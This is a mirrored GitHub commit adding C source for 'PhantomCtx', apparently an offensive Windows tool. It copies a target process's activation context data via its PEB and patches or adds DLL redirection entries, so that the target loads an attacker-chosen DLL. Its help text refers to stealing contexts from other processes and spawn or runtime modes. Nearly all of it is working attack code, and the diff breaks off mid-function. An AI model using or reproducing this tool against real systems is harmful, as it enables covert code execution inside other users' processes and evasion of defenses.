mirror of
https://github.com/r3xmax/PhantomCtx
synced 2026-06-17 15:03:19 +00:00
Initial commit
This commit is contained in:
@@ -0,0 +1,736 @@
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "actctx.h"
|
||||
#include "ntdefs.h"
|
||||
|
||||
/* --------------------- Helper functions --------------------- */
|
||||
/* ------------------------------------------------------------ */
|
||||
|
||||
static int bounds_ok(const BYTE* blob, ULONG totalSize, ULONG offset, ULONG size)
|
||||
{
|
||||
if ((ULONGLONG)offset + size > totalSize) return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void print_wcs(const WCHAR* ws, ULONG byteLen)
|
||||
{
|
||||
ULONG nChars = byteLen / sizeof(WCHAR);
|
||||
for (ULONG i = 0; i < nChars; i++)
|
||||
wprintf(L"%c", ws[i]);
|
||||
}
|
||||
|
||||
static WCHAR* assemble_path(
|
||||
const BYTE* B1,
|
||||
ULONG b1Offset,
|
||||
const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir,
|
||||
ULONG totalSize)
|
||||
{
|
||||
if (redir->PathSegmentCount == 0 || redir->TotalPathLength == 0)
|
||||
return NULL;
|
||||
|
||||
ULONG bufBytes = redir->TotalPathLength + sizeof(WCHAR);
|
||||
WCHAR* result = (WCHAR*)malloc(bufBytes);
|
||||
if (!result) return NULL;
|
||||
ZeroMemory(result, bufBytes);
|
||||
|
||||
WCHAR* cursor = result;
|
||||
ULONG remaining = redir->TotalPathLength;
|
||||
|
||||
const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* segs =
|
||||
BLOB_PTR(B1, redir->PathSegmentOffset,
|
||||
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
|
||||
|
||||
ULONG segsOffset = b1Offset + redir->PathSegmentOffset;
|
||||
ULONG segsBytes = redir->PathSegmentCount *
|
||||
sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
|
||||
if (!bounds_ok((BYTE*)0, totalSize, segsOffset, segsBytes)) {
|
||||
free(result);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
for (ULONG s = 0; s < redir->PathSegmentCount; s++) {
|
||||
if (segs[s].Length == 0 || segs[s].Length > remaining) break;
|
||||
|
||||
ULONG segGlobalOffset = b1Offset + segs[s].Offset;
|
||||
if (!bounds_ok((BYTE*)0, totalSize, segGlobalOffset, segs[s].Length)) break;
|
||||
|
||||
const WCHAR* fragment = BLOB_PTR(B1, segs[s].Offset, WCHAR);
|
||||
ULONG nChars = segs[s].Length / sizeof(WCHAR);
|
||||
memcpy(cursor, fragment, segs[s].Length);
|
||||
cursor += nChars;
|
||||
remaining -= segs[s].Length;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static ULONG x65599_hash(const WCHAR* str, ULONG byteLen)
|
||||
{
|
||||
ULONG hash = 0;
|
||||
ULONG nChars = byteLen / sizeof(WCHAR);
|
||||
for (ULONG i = 0; i < nChars; i++) {
|
||||
WCHAR c = str[i];
|
||||
if (c >= L'a' && c <= L'z') c -= (L'a' - L'A'); // <- uppercase
|
||||
hash = hash * 65599 + c;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
static ULONG calc_needed(ULONG existingEntryCount, ULONG keyByteLen, ULONG pathByteLen)
|
||||
{
|
||||
return (existingEntryCount + 1)
|
||||
* sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY)
|
||||
+ keyByteLen
|
||||
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION)
|
||||
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)
|
||||
+ pathByteLen;
|
||||
}
|
||||
|
||||
static int locate_redir(
|
||||
BYTE* blob,
|
||||
ULONG totalSize,
|
||||
ULONG entryIdx,
|
||||
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION** ppRedir,
|
||||
BYTE** ppB1,
|
||||
ULONG* pb1Offset)
|
||||
{
|
||||
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
|
||||
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc =
|
||||
(ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries =
|
||||
(ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
|
||||
|
||||
// Search for Id==2
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
|
||||
dllToc = &tocEntries[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!dllToc) {
|
||||
printf("[ERROR] locate_redir: no DLL redirection section (Id==2) found.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr =
|
||||
(ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
|
||||
BYTE* B1 = (BYTE*)sshdr;
|
||||
ULONG b1Off = dllToc->Offset;
|
||||
|
||||
if (entryIdx >= sshdr->ElementCount) {
|
||||
fprintf(stderr, "[!] locate_redir: entryIdx %lu >= ElementCount %lu\n",
|
||||
entryIdx, sshdr->ElementCount);
|
||||
return -1;
|
||||
}
|
||||
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries =
|
||||
(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* e = &strEntries[entryIdx];
|
||||
|
||||
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir =
|
||||
(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION*)(B1 + e->Offset);
|
||||
|
||||
*ppRedir = redir;
|
||||
*ppB1 = B1;
|
||||
*pb1Offset = b1Off;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --------------------- Finish of Helper functions --------------------- */
|
||||
/* ---------------------------------------------------------------------- */
|
||||
|
||||
/* ------------------------ Utility functions --------------------------- */
|
||||
/* ---------------------------------------------------------------------- */
|
||||
|
||||
// Reads ACTIVATION_CONTEXT_DATA from a remote process via its PEB and copies the full blob to a local heap buffer
|
||||
void* CopyRemoteActCtxByHandle(fnNtQueryInformationProcess pNtQueryInformationProcess, fnNtReadVirtualMemory pNtReadVirtualMemory, HANDLE hProcess, PSIZE_T actCtxSize){
|
||||
NTSTATUS status = 0;
|
||||
|
||||
// Get remote PEB address via ProcessBasicInformation
|
||||
PROCESS_BASIC_INFORMATION pbi = {0};
|
||||
ULONG returnLength = 0;
|
||||
status = pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);
|
||||
|
||||
if(!NT_SUCCESS(status)){
|
||||
printf("[ERROR] NtQueryInformationProcess failed. Status: 0x%08lX\n", (unsigned long)status);
|
||||
return (void*)0;
|
||||
}
|
||||
|
||||
// Read the pointer at PEB+0x2F8 (ActivationContextData) to get B0
|
||||
PVOID actxBase = NULL;
|
||||
SIZE_T got = 0;
|
||||
PVOID actxFieldAddr = (PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x2f8);
|
||||
status = pNtReadVirtualMemory(hProcess, actxFieldAddr, &actxBase, sizeof(actxBase), &got);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status);
|
||||
return (void*)0;
|
||||
}
|
||||
|
||||
// Read the fixed header to extract TotalSize and validate Magic
|
||||
ACTIVATION_CONTEXT_DATA hdr = {0};
|
||||
status = pNtReadVirtualMemory(hProcess, actxBase, &hdr, sizeof(hdr), &got);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status);
|
||||
return (void*)0;
|
||||
}
|
||||
|
||||
// Validate Magic: must be 0x78746341 ("Actx")
|
||||
if(hdr.Magic != ACTX_MAGIC){
|
||||
printf("[ERROR] Invalid Magic number on ACTIVATION_CONTEXT_DATA (expected 0x%08lX = \"Actx\")\n", ACTX_MAGIC);
|
||||
return (void*)0;
|
||||
}
|
||||
|
||||
// Security check on TotalSize before allocating
|
||||
if (hdr.TotalSize < sizeof(ACTIVATION_CONTEXT_DATA) || hdr.TotalSize > (64u * 1024u * 1024u)) {
|
||||
printf("[ERROR] ACTIVATION_CONTEXT_DATA.TotalSize out-of-bound: 0x%lX\n", hdr.TotalSize);
|
||||
return (void*)0;
|
||||
}
|
||||
|
||||
// Allocate local buffer and copy the full blob from the target process
|
||||
SIZE_T blobSize = (SIZE_T)hdr.TotalSize;
|
||||
PVOID blob = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, blobSize);
|
||||
|
||||
if (!blob) {
|
||||
printf("[ERROR] HeapAlloc(%zu) failed\n", blobSize);
|
||||
return (void*)0;
|
||||
}
|
||||
|
||||
status = pNtReadVirtualMemory(hProcess, actxBase, blob, blobSize, &got);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return (void*)0;
|
||||
}
|
||||
|
||||
*actCtxSize = blobSize;
|
||||
printf("[SUCCESS] Activation Context Data Blob copied to local heap buffer @%p (%zu bytes)\n", blob, blobSize);
|
||||
|
||||
return blob;
|
||||
}
|
||||
|
||||
// Parses the DLL redirection section from a local ACTIVATION_CONTEXT_DATA blob and prints the results
|
||||
void ParseDllRedirections(const BYTE* blob, ULONG totalSize)
|
||||
{
|
||||
// 1. Blob header
|
||||
if (!bounds_ok(blob, totalSize, 0, sizeof(ACTIVATION_CONTEXT_DATA))) {
|
||||
wprintf(L"[ERROR] Blob too small for ACTIVATION_CONTEXT_DATA\n");
|
||||
return;
|
||||
}
|
||||
const ACTIVATION_CONTEXT_DATA* actx =
|
||||
BLOB_PTR(blob, 0, ACTIVATION_CONTEXT_DATA);
|
||||
|
||||
wprintf(L"\n+-[ ACTIVATION CONTEXT DATA ]\n");
|
||||
wprintf(L"| Magic : 0x%08lX (Actx)\n", actx->Magic);
|
||||
wprintf(L"| HeaderSize : 0x%lX (%lu bytes)\n", actx->HeaderSize, actx->HeaderSize);
|
||||
wprintf(L"| FormatVersion : %lu\n", actx->FormatVersion);
|
||||
wprintf(L"| TotalSize : 0x%lX (%lu bytes)\n", actx->TotalSize, actx->TotalSize);
|
||||
wprintf(L"| Flags : 0x%08lX\n", actx->Flags);
|
||||
wprintf(L"|\n");
|
||||
|
||||
// 2. TOC header
|
||||
if (!bounds_ok(blob, totalSize,
|
||||
actx->DefaultTocOffset,
|
||||
sizeof(ACTIVATION_CONTEXT_DATA_TOC_HEADER))) {
|
||||
wprintf(L"+--[ERROR] DefaultTocOffset out of range\n");
|
||||
return;
|
||||
}
|
||||
const ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc =
|
||||
BLOB_PTR(blob, actx->DefaultTocOffset, ACTIVATION_CONTEXT_DATA_TOC_HEADER);
|
||||
|
||||
// 3. TOC entries
|
||||
ULONG tocEntriesSize =
|
||||
toc->EntryCount * sizeof(ACTIVATION_CONTEXT_DATA_TOC_ENTRY);
|
||||
if (!bounds_ok(blob, totalSize, toc->FirstEntryOffset, tocEntriesSize)) {
|
||||
wprintf(L"+--[ERROR] TOC entries array out of range\n");
|
||||
return;
|
||||
}
|
||||
const ACTIVATION_CONTEXT_DATA_TOC_ENTRY* entries =
|
||||
BLOB_PTR(blob, toc->FirstEntryOffset, ACTIVATION_CONTEXT_DATA_TOC_ENTRY);
|
||||
|
||||
wprintf(L"+--[ TOC ] %lu %s\n",
|
||||
toc->EntryCount,
|
||||
toc->EntryCount == 1 ? L"entry" : L"entries");
|
||||
|
||||
// 4. Find DLL redirection entry
|
||||
const ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllEntry = NULL;
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
BOOL isDll = (entries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION);
|
||||
wprintf(L"| [%02lu] Id=%-2lu Format=%lu Offset=0x%04lX Length=0x%04lX%s\n",
|
||||
i,
|
||||
entries[i].Id,
|
||||
entries[i].Format,
|
||||
entries[i].Offset,
|
||||
entries[i].Length,
|
||||
isDll ? L" <-- DLL Redirection" : L"");
|
||||
if (isDll)
|
||||
dllEntry = &entries[i];
|
||||
}
|
||||
wprintf(L"|\n");
|
||||
|
||||
if (!dllEntry) {
|
||||
wprintf(L"+--[ DLL REDIRECTION ] not present in this blob\n");
|
||||
wprintf(L"|\n");
|
||||
wprintf(L"+--[ HINT ] Use 'steal-context' to steal the Activation Context\n");
|
||||
wprintf(L" from a running process that has one.\n");
|
||||
wprintf(L" Example: -m spawn|runtime -s steal-context -p <target> -d <dll> --dll-path <path> --steal-from <process>\n\n");
|
||||
return;
|
||||
}
|
||||
if (dllEntry->Format != ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE) {
|
||||
wprintf(L"+--[ERROR] Unexpected DLL section format: %lu\n", dllEntry->Format);
|
||||
return;
|
||||
}
|
||||
|
||||
// 5. STRING_SECTION_HEADER = B1
|
||||
if (!bounds_ok(blob, totalSize,
|
||||
dllEntry->Offset,
|
||||
sizeof(ACTIVATION_CONTEXT_STRING_SECTION_HEADER))) {
|
||||
wprintf(L"+--[ERROR] STRING_SECTION_HEADER offset out of range\n");
|
||||
return;
|
||||
}
|
||||
const ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr =
|
||||
BLOB_PTR(blob, dllEntry->Offset, ACTIVATION_CONTEXT_STRING_SECTION_HEADER);
|
||||
|
||||
if (sshdr->Magic != STRING_SECTION_MAGIC) {
|
||||
wprintf(L"+--[ERROR] Invalid STRING_SECTION magic: 0x%08lX\n", sshdr->Magic);
|
||||
return;
|
||||
}
|
||||
|
||||
const BYTE* B1 = (const BYTE*)sshdr;
|
||||
ULONG b1Off = dllEntry->Offset;
|
||||
|
||||
// 6. STRING_SECTION entries
|
||||
ULONG entriesSize =
|
||||
sshdr->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
|
||||
if (!bounds_ok(B1, totalSize - b1Off,
|
||||
sshdr->ElementListOffset, entriesSize)) {
|
||||
wprintf(L"+--[ERROR] STRING_SECTION_ENTRY array out of range\n");
|
||||
return;
|
||||
}
|
||||
const ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries =
|
||||
BLOB_PTR(B1, sshdr->ElementListOffset,
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
|
||||
|
||||
wprintf(L"+--[ DLL REDIRECTION ] %lu %s\n",
|
||||
sshdr->ElementCount,
|
||||
sshdr->ElementCount == 1 ? L"entry" : L"entries");
|
||||
|
||||
// 7. Iterate entries
|
||||
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
|
||||
const ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* e = &strEntries[i];
|
||||
BOOL isLast = (i == sshdr->ElementCount - 1);
|
||||
|
||||
/* DLL name (key) */
|
||||
wprintf(L"| [%02lu] ", i);
|
||||
if (bounds_ok(B1, totalSize - b1Off, e->KeyOffset, e->KeyLength)) {
|
||||
const WCHAR* key = BLOB_PTR(B1, e->KeyOffset, WCHAR);
|
||||
print_wcs(key, e->KeyLength);
|
||||
} else {
|
||||
wprintf(L"<key out of range>");
|
||||
}
|
||||
wprintf(L"\n");
|
||||
|
||||
// DLL_REDIRECTION
|
||||
if (!bounds_ok(B1, totalSize - b1Off,
|
||||
e->Offset,
|
||||
sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION))) {
|
||||
wprintf(L"| <DLL_REDIRECTION out of range>\n");
|
||||
if (!isLast) wprintf(L"|\n");
|
||||
continue;
|
||||
}
|
||||
const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir =
|
||||
BLOB_PTR(B1, e->Offset, ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION);
|
||||
|
||||
// Flags as string
|
||||
WCHAR flagStr[128] = { 0 };
|
||||
if (redir->Flags == 0)
|
||||
wcscat_s(flagStr, 128, L"NONE");
|
||||
if (redir->Flags & ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME)
|
||||
wcscat_s(flagStr, 128, L"PATH_INCLUDES_BASE_NAME");
|
||||
if (redir->Flags & ACTX_DLL_REDIR_OMITS_ASSEMBLY_ROOT)
|
||||
wcscat_s(flagStr, 128, L"OMITS_ASSEMBLY_ROOT");
|
||||
if (redir->Flags & ACTX_DLL_REDIR_EXPAND)
|
||||
wcscat_s(flagStr, 128, L"EXPAND");
|
||||
if (redir->Flags & ACTX_DLL_REDIR_SYSTEM_DEFAULT_REDIRECTED)
|
||||
wcscat_s(flagStr, 128, L"SYSTEM_DEFAULT");
|
||||
|
||||
wprintf(L"| PseudoKey : 0x%08lX\n", e->PseudoKey);
|
||||
wprintf(L"| RosterIdx : %lu\n", e->AssemblyRosterIndex);
|
||||
wprintf(L"| Flags : %s\n", flagStr);
|
||||
wprintf(L"| Segments : %lu PathLen=%lu bytes\n",
|
||||
redir->PathSegmentCount, redir->TotalPathLength);
|
||||
|
||||
// Assembled path
|
||||
WCHAR* fullPath = assemble_path(B1, b1Off, redir, totalSize);
|
||||
if (fullPath) {
|
||||
wprintf(L"| Path : %s\n", fullPath);
|
||||
free(fullPath);
|
||||
} else {
|
||||
wprintf(L"| Path : <reconstructed from roster>\n");
|
||||
}
|
||||
|
||||
if (!isLast) wprintf(L"|\n");
|
||||
}
|
||||
|
||||
wprintf(L"|\n");
|
||||
wprintf(L"+--[ END ]\n\n");
|
||||
}
|
||||
|
||||
// Patches an existing DLL redirection entry with a new redirect path. Appends PATH_SEGMENT + WCHAR[] at the end of the blob.
|
||||
ULONG PatchDllRedirectionEntry(
|
||||
BYTE* blob,
|
||||
ULONG totalSize,
|
||||
ULONG entryIdx,
|
||||
const WCHAR* redirectPath)
|
||||
{
|
||||
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir = NULL;
|
||||
BYTE* B1 = NULL;
|
||||
ULONG b1Off = 0;
|
||||
|
||||
if (locate_redir(blob, totalSize, entryIdx, &redir, &B1, &b1Off) != 0)
|
||||
return totalSize;
|
||||
|
||||
printf("[PATCH] entry[%lu] before: Flags=0x%08lX SegCount=%lu PathLen=%lu\n",
|
||||
entryIdx, redir->Flags, redir->PathSegmentCount, redir->TotalPathLength);
|
||||
|
||||
ULONG pathByteLen = (ULONG)(wcslen(redirectPath) * sizeof(WCHAR));
|
||||
ULONG neededExtra = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)
|
||||
+ pathByteLen;
|
||||
|
||||
if (neededExtra > EXTRA_BYTES) {
|
||||
fprintf(stderr, "[ERROR] EXTRA_BYTES insufficient (%lu needed, %u available)\n",
|
||||
neededExtra, EXTRA_BYTES);
|
||||
return totalSize;
|
||||
}
|
||||
|
||||
// Offsets from B1 for new data appended at end of blob
|
||||
ULONG segOffsetFromB1 = totalSize - b1Off;
|
||||
ULONG strOffsetFromB1 = segOffsetFromB1
|
||||
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
|
||||
|
||||
// Write PATH_SEGMENT at end of blob
|
||||
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* newSeg =
|
||||
(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT*)(blob + totalSize);
|
||||
newSeg->Length = pathByteLen;
|
||||
newSeg->Offset = strOffsetFromB1;
|
||||
|
||||
// Write WCHAR[] redirect path immediately after
|
||||
WCHAR* strDest = (WCHAR*)(blob + totalSize
|
||||
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT));
|
||||
memcpy(strDest, redirectPath, pathByteLen);
|
||||
|
||||
// Patch DLL_REDIRECTION fields
|
||||
redir->Flags = ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME;
|
||||
redir->PathSegmentCount = 1;
|
||||
redir->TotalPathLength = pathByteLen;
|
||||
redir->PathSegmentOffset = segOffsetFromB1;
|
||||
|
||||
// Update TotalSize in blob header
|
||||
ULONG newTotalSize = totalSize + neededExtra;
|
||||
((ACTIVATION_CONTEXT_DATA*)blob)->TotalSize = newTotalSize;
|
||||
|
||||
// Update TOC entry Length to cover new data
|
||||
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
|
||||
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
|
||||
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
|
||||
tocEntries[i].Length = newTotalSize - b1Off;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[PATCH] segOffsetFromB1 = 0x%lX\n", segOffsetFromB1);
|
||||
printf("[PATCH] strOffsetFromB1 = 0x%lX\n", strOffsetFromB1);
|
||||
printf("[PATCH] pathByteLen = %lu bytes\n", pathByteLen);
|
||||
printf("[PATCH] entry[%lu] after: Flags=0x%08lX SegCount=%lu PathLen=%lu\n",
|
||||
entryIdx, redir->Flags, redir->PathSegmentCount, redir->TotalPathLength);
|
||||
printf("[PATCH] TotalSize: 0x%lX -> 0x%lX\n", totalSize, newTotalSize);
|
||||
|
||||
return newTotalSize;
|
||||
}
|
||||
|
||||
// Appends a brand-new DLL redirection entry to the blob. Relocates the entry array and writes all new structures at end of blob.
|
||||
ULONG AddDllRedirectionEntry(
|
||||
BYTE* blob,
|
||||
ULONG totalSize,
|
||||
const WCHAR* dllName,
|
||||
const WCHAR* redirectPath,
|
||||
ULONG rosterIdx)
|
||||
{
|
||||
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
|
||||
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
|
||||
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
|
||||
dllToc = &tocEntries[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!dllToc) {
|
||||
fprintf(stderr, "[ERROR] AddDllEntry: no DLL redirection section (Id==2) found.\n");
|
||||
return totalSize;
|
||||
}
|
||||
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr =
|
||||
(ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
|
||||
BYTE* B1 = (BYTE*)sshdr;
|
||||
ULONG b1Off = dllToc->Offset;
|
||||
|
||||
ULONG keyByteLen = (ULONG)(wcslen(dllName) * sizeof(WCHAR));
|
||||
ULONG pathByteLen = (ULONG)(wcslen(redirectPath) * sizeof(WCHAR));
|
||||
ULONG needed = calc_needed(sshdr->ElementCount, keyByteLen, pathByteLen);
|
||||
|
||||
if (needed > EXTRA_BYTES_ADD) {
|
||||
fprintf(stderr, "[ERROR] AddDllEntry: need %lu bytes, EXTRA_BYTES_ADD=%u\n",
|
||||
needed, EXTRA_BYTES_ADD);
|
||||
return totalSize;
|
||||
}
|
||||
|
||||
ULONG cursor = totalSize;
|
||||
|
||||
// 1. Relocate existing entry array to end of blob
|
||||
ULONG oldEntriesBytes = sshdr->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
|
||||
ULONG newArrayOffsetFromB1 = cursor - b1Off;
|
||||
memcpy(blob + cursor, B1 + sshdr->ElementListOffset, oldEntriesBytes);
|
||||
cursor += oldEntriesBytes;
|
||||
|
||||
// 2. Write new STRING_SECTION_ENTRY
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* newEntry =
|
||||
(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(blob + cursor);
|
||||
cursor += sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
|
||||
|
||||
// 3. Write WCHAR[] DLL key
|
||||
ULONG keyOffsetFromB1 = cursor - b1Off;
|
||||
memcpy(blob + cursor, dllName, keyByteLen);
|
||||
cursor += keyByteLen;
|
||||
|
||||
// 4. Write ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION
|
||||
ULONG redirOffsetFromB1 = cursor - b1Off;
|
||||
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir =
|
||||
(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION*)(blob + cursor);
|
||||
cursor += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION);
|
||||
|
||||
// 5. Write PATH_SEGMENT
|
||||
ULONG segOffsetFromB1 = cursor - b1Off;
|
||||
ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* seg =
|
||||
(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT*)(blob + cursor);
|
||||
cursor += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
|
||||
|
||||
// 6. Write WCHAR[] redirect path
|
||||
ULONG strOffsetFromB1 = cursor - b1Off;
|
||||
memcpy(blob + cursor, redirectPath, pathByteLen);
|
||||
cursor += pathByteLen;
|
||||
|
||||
// Fill structures with computed offsets
|
||||
seg->Length = pathByteLen;
|
||||
seg->Offset = strOffsetFromB1;
|
||||
|
||||
redir->Size = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION);
|
||||
redir->Flags = ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME;
|
||||
redir->TotalPathLength = pathByteLen;
|
||||
redir->PathSegmentCount = 1;
|
||||
redir->PathSegmentOffset = segOffsetFromB1;
|
||||
|
||||
newEntry->PseudoKey = x65599_hash(dllName, keyByteLen);
|
||||
newEntry->KeyOffset = keyOffsetFromB1;
|
||||
newEntry->KeyLength = keyByteLen;
|
||||
newEntry->Offset = redirOffsetFromB1;
|
||||
newEntry->Length = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION)
|
||||
+ sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)
|
||||
+ pathByteLen;
|
||||
newEntry->AssemblyRosterIndex = rosterIdx;
|
||||
|
||||
// Update STRING_SECTION_HEADER
|
||||
sshdr->ElementListOffset = newArrayOffsetFromB1;
|
||||
sshdr->ElementCount += 1;
|
||||
|
||||
// Full insertion sort of all entries by PseudoKey. The donor blob's original
|
||||
// ElementList is in arbitrary order (the donor used SearchStructureOffset for
|
||||
// lookup, so order never mattered there). We must sort every element — not
|
||||
// just insert the new one — before zeroing SearchStructureOffset, otherwise
|
||||
// ntdll's binary-search fallback will miss entries in the wrong positions.
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* arr =
|
||||
(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(blob + totalSize);
|
||||
ULONG arrCount = sshdr->ElementCount;
|
||||
ULONG savedPseudoKey = arr[arrCount - 1].PseudoKey; // capture before sort moves it
|
||||
for (ULONG si = 1; si < arrCount; si++) {
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY stmp = arr[si];
|
||||
LONG j = (LONG)si - 1;
|
||||
while (j >= 0 && arr[j].PseudoKey > stmp.PseudoKey) {
|
||||
arr[j + 1] = arr[j];
|
||||
j--;
|
||||
}
|
||||
arr[j + 1] = stmp;
|
||||
}
|
||||
sshdr->SearchStructureOffset = 0;
|
||||
|
||||
// Update blob TotalSize and TOC entry Length
|
||||
ULONG newTotalSize = cursor;
|
||||
actx->TotalSize = newTotalSize;
|
||||
dllToc->Length = newTotalSize - b1Off;
|
||||
|
||||
printf("[ADD] DLL key : %ls\n", dllName);
|
||||
printf("[ADD] Redirect path : %ls\n", redirectPath);
|
||||
printf("[ADD] PseudoKey : 0x%08lX\n", savedPseudoKey);
|
||||
printf("[ADD] RosterIndex : %lu\n", rosterIdx);
|
||||
printf("[ADD] ElementCount : %lu\n", sshdr->ElementCount);
|
||||
printf("[ADD] TotalSize : 0x%lX -> 0x%lX\n", totalSize, newTotalSize);
|
||||
|
||||
return newTotalSize;
|
||||
}
|
||||
|
||||
// Searches the DLL Redirection section (TOC Id==2) for an entry matching
|
||||
// dllName using case-insensitive key comparison (bypasses PseudoKey mismatch).
|
||||
// If found, patches its redirect path. If not found, adds a new entry.
|
||||
ULONG PatchOrAddDllRedirection(
|
||||
BYTE* blob,
|
||||
ULONG totalSize,
|
||||
const WCHAR* dllName,
|
||||
const WCHAR* redirectPath,
|
